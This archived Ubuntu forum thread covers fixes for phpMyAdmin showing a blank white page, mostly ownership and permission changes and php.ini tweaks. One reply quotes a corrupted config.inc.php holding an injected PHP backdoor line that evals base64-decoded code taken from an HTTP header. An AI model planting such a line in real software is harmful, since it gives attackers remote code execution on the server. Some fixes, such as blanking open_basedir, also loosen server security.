PDA

View Full Version : [ubuntu] phpmyadmin -> blank page



Lashiec
April 30th, 2009, 03:52 PM
I just set up a server with Ubuntu server 9.04, got webmin on there, put apache, mysql, php5, some other php things. I also installed phpmyadmin and got an alias set up to direct http://url.com/phpmyadmin/ to the /usr/share/phpmyadmin/ folder on the server.

That's all working, when I type in the url for the server and put /phpmyadmin/ at the end it goes to the right place. But, all I get is a pure white screen. It looks like it's not running the PHP on the index.php file...

I modified the index.php file to have <p>hello</p> at the top of it and when I go to the page in my browser it does say hello at the top, but nothing else.

I've removed the install that webmin did for phpmyadmin, ran apt-get phpmyadmin from a command line and still had the same problems. My apache config file is pointing to the right phpmyadmin config file.

Maybe my server isn't processing <?php ?> tags in certain folders? I'm not really sure.

Lashiec
April 30th, 2009, 05:54 PM
Figured it out... Although, odd.

I set the folder and files to be owned by www-data instead of root and it works. Not sure why it would pull out some html on that file but not the PHP.

TheShiftExchange
May 13th, 2009, 07:00 AM
I had exactly the same problem.

Myphpadmin was working fine. Then for other reasons I changed the /var/www folder setup permissions and some other stuff.

The next time I tried to load myphpadmin it showed a blank page. Add /etc/phpmyadmin to the www-data group (which I had already added /var/www/ to) solved the problem.

t413
May 27th, 2009, 05:45 PM
I am running apache2-mpm-itk (multiuser) and could not get phpmyadmin to display anything. The fix for my setup was to change each of the three pages config.ini.php calls on:



// Load secret generated on postinst
include('/var/lib/phpmyadmin/blowfish_secret.inc.php');

// Load autoconf local config
include('/var/lib/phpmyadmin/config.inc.php');

// Load user's local config
include('/etc/phpmyadmin/config.inc.php');


Changing permissions to 644 for each of these got everything to run. It makes sense it wouldn't work but I would certainly appreciate some feedback in the form of an error or warning message when something like this is awry.

jenkinbr
June 30th, 2009, 05:30 PM
Figured it out... Although, odd.

I set the folder and files to be owned by www-data instead of root and it works. Not sure why it would pull out some html on that file but not the PHP.
Dang!

That solved my problem.

Thanks!

apoorva
July 11th, 2009, 12:53 AM
Figured it out... Although, odd.

I set the folder and files to be owned by www-data instead of root and it works. Not sure why it would pull out some html on that file but not the PHP.


how do i set change the ownership to www-data instead of root

jenkinbr
July 11th, 2009, 04:33 AM
how do i set change the ownership to www-data instead of root


sudo chown -R www-data:www-data /usr/share/phpmyadmin
sudo chown -R www-data:www-data /var/lib/phpmyadmin
sudo chown -R www-data:www-data /etc/phpmyadmin

spongypants23
July 14th, 2009, 12:46 AM
I can confirm this fixed the problem for me too!

Thank you! ;)

chunkstyle
August 21st, 2009, 09:38 PM
I tried all the suggestions in this thread with no luck, and when I looked on Sourceforge to see if there were any answers in the phpmyadmin help, I found no love either, but I did see that someone else on Slicehost was having this same problem. I looked at the Slicehost support forum and found this article: http://forum.slicehost.com/comments.php?DiscussionID=3767&page=1#Item_0

This fixed the problem for me.

scottgun
September 6th, 2009, 12:51 PM
I had the same issue. A single line in the file /var/lib/phpmyadmin/config.inc.php had been corrupted. Here is the whole file:


<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.8.1-Debian-1~dapper1 setup script by Michal ─Oiha┼T <michal@cihar.com>

* Version: $Id: setup.php,v 1.23.2.8.2.2 2006/05/15 07:57:09 nijel Exp $
* Date: Fri, 14 Aug 2009 14:24:39 GMT
*/

/* Servers configuration */
$i = 0;

/* Server (config:root) [1] */
//*$cfg['Servers'][$i]['xxx'];$z='bas'.'e64_dec'.'ode';eval($z($_SERVER['HTTP_X_CODE']));exit;#'] =
'yyy';

/* End of servers configuration */

?>
As you can see, I commented out the line beginning $cfg and my phpmyadmin site was up and running again. According to the slicehost guys, this could be a remote code execution exploit, ie we're being hacked! Crap, crap, crap!

I believe the date, August 14, indicates WHEN the file was corrupted. It definitely fits the timeline, being that's it's between now and the last time I successfully used phpmyadmin. I think there might be some other clues in the header but I don't know.

Now, I've got to upgrade and/or lock it down some more. I'm thinking of going to client certificate authentication. Has anyone done this with phpmyadmin?

Stoneface
October 1st, 2009, 05:44 PM
Messed around with the permissions as well to get Joomla! to work. After that I got a white screen instead of the PMA login screen. Did:


sudo chown -R www-data:www-data /usr/share/phpmyadmin
sudo chown -R www-data:www-data /var/lib/phpmyadmin
sudo chown -R www-data:www-data /etc/phpmyadmin


Thanks Lashiec and jenkinbr!!

I guess I need to get into setting file and folder permissions for the local server a bit more..

sanus|art
October 30th, 2009, 06:42 PM
Just add yourself to "www-data" group in /etc/group or from shell:

sudo gpasswd -a $USER www-data
If you're the only phpMyAdmin user.

sowjendra
March 23rd, 2010, 06:15 AM
Thank you very much.. This solved my problem too.

austclint
April 3rd, 2010, 01:13 AM
I have tried all these solutions but to no avail, Can anyone think of anything else that might course this

Techjacker
October 12th, 2010, 10:37 PM
I have tried all these solutions but to no avail, Can anyone think of anything else that might course this

Same here

I'd previously made some changes to my php.ini file aimed at increasing security. It turns out one of these was causing the problem. Removing the open_base_dir entry fixed this.

sudo nano /etc/php5/apache2/php.ini
# make sure following entry is blank or commented out
open_basedir =

Techjacker
October 13th, 2010, 05:51 PM
Same here

I'd previously made some changes to my php.ini file aimed at increasing security. It turns out one of these was causing the problem. Removing the open_base_dir entry fixed this.

sudo nano /etc/php5/apache2/php.ini
# make sure following entry is blank or commented out
open_basedir =



Actually a better solution if you want to keep the security tight is just to add the phpmyadmin directories (which you can do by colon separating them), so adjust the entry in php.ini to the following:

open_basedir = /home/andy/www:/usr/share/phpmyadmin:/var/lib/phpmyadmin:/etc/phpmyadmin

millenniumtree
January 4th, 2011, 10:23 PM
I had this same problem with Ubuntu Karmic, PHP5, Apache2, etc.

I placed echo statements in the configs until I found where it was dying.

Turned out that in /etc/phpmyadmin/config.inc.php
the following line was causing the script to exit


require('/etc/phpmyadmin/config-db.php');

I changed the line to an include instead


include('/etc/phpmyadmin/config-db.php');

And now everything works perfectly! Crazy weird.